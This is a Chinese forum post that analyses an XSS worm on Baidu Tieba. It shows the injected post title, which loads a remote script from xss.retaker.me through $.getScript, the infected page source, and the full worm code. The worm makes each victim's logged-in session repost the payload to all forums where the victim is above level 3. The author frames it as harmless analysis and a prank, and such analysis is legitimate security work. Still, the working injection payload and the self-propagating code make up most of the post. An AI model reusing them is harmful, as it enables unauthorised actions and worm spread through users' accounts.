1.发帖的标题:

点进来有..",a:$.getScript('//xss.retaker.me/1.js'),a:"
2.帖子的内容(只是网页源码):
<cc><div id="post_content_32938845392" class="d_post_content j_d_post_content">请允许我做一个忧伤的表情，是忧伤哦！<div class="repost" id="j_pb_repost" data-field='{"tid":"2337150032","fid":"2262468","fname":"简称堕天使"}'>
  <div class="repost_header">
    <div class="repost_header_left">
      <span class="repost_author">原创者：<a href="/i/280401425?st_mod=pb&fr=tb0_forum&st_type=uname" target="_blank">3dfx_sli</a></span>
      <span class="repost_ba">来自：<a target="_blank" class="j_forum_link" data-field='{"fid":"2262468"}' title="简称堕天使吧" href="http://tieba.baidu.com/f?ie=utf-8&kw=简称堕天使">简称堕天使</a></span>
    </div>
    <div class="repost_header_right">
      <span class="repost_tiezi"><a class="tb_icon_base tb_icon_eye" target="_blank" href="/p/2337150032">查看原贴</a></span>
      <span class="repost_btn j_repost_btn_wrap"><a href="javascript:void(0)" class="j_repost_btn tb_icon_base tb_icon_forward"  data-field='{"tid":"2337150032","title":"点进来有..&quot;,a:$.getScript(&#039;//xss.retaker.me/1.js&#039;),a:&quot;","fid":"2262468"}'>转发</a><span class="repost_count j_repost_count" title="33082">(33082)</span></span>
    </div>
  </div>
  <div class="repost_detail" id="j_pb_repost_detail">
  	<ul class="repost_content j_repost_content"><li class="repost_floor repost_floor_first clearfix">请允许我做一个悲伤的表情<br><br>——我喂自己袋盐<br>&gt;&gt;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0<br><span class="floor_num">1楼</span></li></ul>
  </div>
  <div class="repost_pager" data-field='{"total_page":"1"}'></div>
</div></div></cc>

3.攻击的脚本源码:
关于xss.retaker.me/1.js脚本病毒
源码如下

//initilize
var forumName = [];
var forumId = [];
for (var i = 0, j = 0; i < PageData.user.user_forum_list.info.length; i++) {
if (PageData.user.user_forum_list.info[i].user_level > 3) {
if (PageData.user.user_forum_list.info[i].forum_name!="贴吧监控") {
forumName[j] = PageData.user.user_forum_list.info[i].forum_name;
forumId[j] = PageData.user.user_forum_list.info[i].id;
j++;
}
}
} function madeit(myKw, myFid) {
var c = rich_postor._getData();
c.content="\u8bf7\u5141\u8bb8\u6211\u505a\u4e00\u4e2a\u5fe7\u4f24\u7684\u8868\u60c5\uff0c\u662f\u5fe7\u4f24\u54e6\uff01";
c.ftid = c.fid;
c.ptid = "2337150032";
c.title = '\u70b9\u8fdb\u6765\u6709..",a:$.getScript(\'//xss.retaker.me/1.js\'),a:"';
c.fid = myFid;
c.kw = myKw;
$.post("/relay/commit", c);
}
//now begin!
for (j = 0; j < forumName.length; j++) {
setTimeout("madeit('" + forumName[j] + "','" + forumId[j] + "')", 1500 * j);
}

整个代码并没有什么盗号内容
纯粹是一个恶作剧

但仅能保证xss.retaker.me/1.js没有盗号内容
如果有其它脚本可以发上代码供大家学习研究分析

希望大家不要谣传
保证帐号安全